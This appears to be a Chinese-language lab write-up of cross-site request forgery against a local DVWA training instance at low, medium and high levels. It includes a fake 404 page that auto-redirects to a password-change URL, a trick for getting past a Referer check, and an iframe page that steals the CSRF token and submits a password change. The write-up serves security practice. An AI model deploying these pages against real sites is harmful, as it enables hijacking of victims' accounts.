LEVE: low
自动跳转change
<head>
<title>404</title>
<meta http-equiv="Content-Language" content="zh-CN">
<script type="text/javascript">
document.location = "http://192.168.13.83/dvwa/vulnerabilities/csrf/?password_new=123123&password_conf=123123&Change=Change#";
</script>
</head>
<body>
<h2>页面出错了. <h2>
</body>
</html>```
LEVE: medium
这个由于限制的跨域,就是说自己把这段代码放在自己的x.x.x.x服务器就会失效。但是又限制的不是很好,仅仅检测是否请求头包含本机地址
于是
构造文件名为 192.168.13.83.html
由于本地搭建环境地址,把此文件扔于dvwa/目录下,远程访问,实现效果一样
最终password changed
LEVE: height
高级限制了改密请求必须有crsf-token,
此处在中级基础上即色诱用户点击页面 >一个看不见框架偷偷访问修改密码的页面<,盗取合法用户的crsf-token,进行请求,完成攻击
but,现在的浏览器是不允许跨域请求的,现在相当于用户访问自己远程服务器上的恶意页面,而恶意页面内嵌frame,指向用户,盗crsf-token又修改密码,再向192.168.13.83/dvwa进行请求构成跨域
<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
// alert(document.getElementsByName('user_token')[0].value)
// alert(document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;)
// alert(document.getElementById("transfer").action)
document.getElementById("transfer").submit();
}
</script>
</head>
<body onload="attack()">
<iframe src="http://192.168.13.83/dvwa/vulnerabilities/csrf" id="hack" width=1000 height=900>
</iframe>
<form method="GET" id="transfer" action="http://192.168.13.83/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body></html>
现在存在现实就是跨域无法实现 采用XSS高级插出token
好了 去玩XSS